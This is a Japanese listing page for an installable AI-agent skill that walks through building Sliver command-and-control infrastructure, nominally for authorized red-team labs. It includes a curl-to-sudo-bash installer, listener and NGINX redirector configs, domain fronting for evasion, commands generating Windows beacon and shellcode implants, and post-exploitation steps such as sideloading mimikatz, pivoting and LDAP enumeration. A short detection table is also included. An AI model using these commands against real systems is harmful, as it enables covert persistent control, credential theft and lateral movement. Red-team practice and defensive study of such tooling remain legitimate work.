building-c2-infrastructure-with-sliver-framework について
SliverベースのC2インフラを計画するセキュリティスキルです。テスト環境やラボで許可を得て行うレッドチーム活動向けに、サーバー構築、リスナーとリダイレクターの設定、インプラント生成、ポストエクスプロイテーション操作を扱います。
主な機能
- 01Sliverチームサーバーの構築
- 02C2リスナーの設定
- 03リダイレクターの構築
- 04ビーコンとセッションの生成
- 05複数オペレーターのアクセス管理
- 06ポストエクスプロイテーション操作
活用シーン
- 01レッドチーム用ラボC2環境の構築
- 02暗号化リスナーチャネルの設定
- 03リダイレクターとピボットのテスト
- 04オペレーターアクセスとインプラントの検証
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill building-c2-infrastructure-with-sliver-frameworkインストール後、Claude Code で/building-c2-infrastructure-with-sliver-frameworkを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py詳細
Sliver フレームワークを使用した C2 インフラストラクチャの構築
概要
Sliver は BishopFox が開発した、Go で記述されたオープンソースのクロスプラットフォーム型アドバーサリーエミュレーションフレームワークです。インプラントの生成、複数のプロトコルを使用した C2 チャネル(mTLS、HTTP/S、DNS、WireGuard)、複数オペレーターのサポート、広範な侵入後の機能をレッドチームに提供します。Sliver はビーコン(非同期)モードとセッション(対話型)モードをサポートしているため、長期にわたるオペレーションと対話型のエクスプロイトの両方に適しています。適切に設計された Sliver インフラストラクチャでは、リダイレクター、ドメインフロンティング、HTTPS 証明書を活用して、運用上の耐障害性を維持し、検知を回避します。
使用する場面
- 環境内で Sliver フレームワークの機能を使用して C2 インフラストラクチャを構築、デプロイ、または設定する場合
- コンプライアンス要件に沿ったセキュリティ制御を確立する場合
- このドメインのセキュリティアーキテクチャを構築または改善する場合
- この実装が必要なセキュリティ評価を実施する場合
前提条件
- レッドチームの概念とツールに関する知識
- 安全に実行するためのテスト環境またはラボ環境へのアクセス
- 必要な依存関係をインストールした Python 3.8+
- あらゆるテスト活動に対する適切な承認
目標
- 強化されたクラウドインフラストラクチャに Sliver チームサーバーをデプロイする
- HTTPS、mTLS、DNS、WireGuard リスナーを設定する
- 対象プラットフォーム向けのインプラント(ビーコンとセッション)を生成する
- インプラントとチームサーバーの間に NGINX または Apache のリダイレクターを設定する
- Cloudflare または CDN ベースのドメインフロンティングを実装し、トラフィックを難読化する
- 証明書ベースの認証を使用して複数オペレーターのアクセスを設定する
- C2 通信の運用セキュリティ制御を確立する
MITRE ATT&CK マッピング
- T1071.001 - アプリケーション層プロトコル:Web プロトコル
- T1071.004 - アプリケーション層プロトコル:DNS
- T1573.002 - 暗号化チャネル:非対称暗号
- T1090.002 - プロキシ:外部プロキシ(リダイレクター)
- T1105 - 侵入ツールの転送
- T1132.001 - データエンコーディング:標準エンコーディング
- T1572 - プロトコルトンネリング
ワークフロー
フェーズ 1:チームサーバーのデプロイ
- チームサーバー用の VPS(例:DigitalOcean、Linode、AWS EC2)を用意します
- OS を強化します。SSH パスワード認証を無効にし、UFW/iptables を設定して、fail2ban をインストールします
- 公式インストールスクリプトを使用して Sliver をインストールします:
curl https://sliver.sh/install | sudo bash - Sliver サーバーデーモンを起動します:
systemctl start sliver # Or run interactively sliver-server - チームメンバー用のオペレーター設定ファイルを生成します:
new-operator --name operator1 --lhost <team-server-ip>
フェーズ 2:リスナーの設定
- 正規の SSL 証明書を使用して HTTPS リスナーを設定します:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem - フォールバック C2 用の DNS リスナーを設定します:
dns --domains c2dns.example.com --lport 53 - 高セキュリティのセッション用に mTLS リスナーを設定します:
mtls --lhost 0.0.0.0 --lport 8888 - トンネル経由のアクセス用に WireGuard リスナーを設定します:
wg --lport 51820
フェーズ 3:リダイレクターのセットアップ
- リダイレクターとして別の VPS をデプロイします(対象とチームサーバーの間に配置)
- NGINX をリバースプロキシとしてインストールし、設定します:
server { listen 443 ssl; server_name c2.example.com; ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem; location / { proxy_pass https://<team-server-ip>:443; proxy_ssl_verify off; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } - チームサーバーに iptables ルールを設定し、リダイレクターからの接続のみを許可します:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT iptables -A INPUT -p tcp --dport 443 -j DROP - 任意で、ドメインフロンティング用にリダイレクターの前段に CDN レイヤーとして Cloudflare を設定します
フェーズ 4:インプラントの生成
- HTTPS ビーコンインプラントを生成します:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload - 制限のあるネットワーク向けに DNS ビーコンを生成します:
generate beacon --dns c2dns.example.com --os windows --arch amd64 - インジェクション用のシェルコードペイロードを生成します:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode - ビーコンのジッターとコールバック間隔を設定します:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
フェーズ 5:侵入後のオペレーション
- アクティブなビーコン/セッションと対話します:
beacons # List active beacons use <beacon-id> # Interact with a beacon - 侵入後のモジュールを実行します:
ps # Process listing netstat # Network connections execute-assembly /path/to/Seatbelt.exe -group=all # Run .NET assemblies sideload /path/to/mimikatz.dll # Load DLLs - 内部ネットワークにアクセスするためのピボットを設定します:
pivots tcp --bind 0.0.0.0:9898 # Create pivot listener on compromised host - メモリ内実行に BOF(Beacon Object Files)を使用します:
armory install sa-ldapsearch # Install from armory sa-ldapsearch -- "(objectClass=user)" # Execute BOF
ツールとリソース
| ツール | 用途 | プラットフォーム |
|---|---|---|
| Sliver Server | C2 チームサーバーとインプラントの管理 | Linux/macOS/Windows |
| Sliver Client | チームメンバー向けのオペレーターコンソール | クロスプラットフォーム |
| NGINX | リダイレクターおよびリバースプロキシ | Linux |
| Certbot | Let's Encrypt SSL 証明書の生成 | Linux |
| Cloudflare | CDN およびドメインフロンティング | クラウド |
| Armory | Sliver 拡張機能/BOF パッケージマネージャー | 組み込み |
検出シグネチャ
| 指標 | 検出方法 |
|---|---|
| Sliver のデフォルト HTTP ヘッダー | 不審な User-Agent 文字列をネットワークトラフィックから分析 |
| 非標準ポートでの mTLS | 不審なポートへのアウトバウンド接続をファイアウォールログから確認 |
| エントロピーの高い DNS TXT レコードクエリ | エンコードされた C2 トラフィックを DNS ログから分析 |
| ポート 51820 での WireGuard UDP トラフィック | WireGuard ハンドシェイクパターンをネットワークフローから分析 |
| Sliver インプラントのファイルハッシュ | 既知の Sliver サンプルと照合して EDR/AV シグネチャを確認 |
検証基準
- チームサーバーをデプロイし、ファイアウォールルールで強化する
- 有効な SSL 証明書を使用して HTTPS リスナーを構成する
- フォールバック C2 チャネルとして DNS リスナーを構成する
- ターゲットとチームサーバーの間に少なくとも 1 つのリダイレクターをデプロイする
- 一意の証明書を使用して複数オペレーターのアクセスを構成する
- ターゲット OS 用のインプラントを生成する
- ステルス性を確保するため、ビーコンのコールバック間隔とジッターを構成する
- ポストエクスプロイトモジュール(プロセス一覧表示、.NET アセンブリ実行)をテストする
- 内部ネットワークアクセスに向けてピボット機能を検証する
- すべての C2 トラフィックを暗号化し、リダイレクター経由で通過させる
コメント
Markdown 対応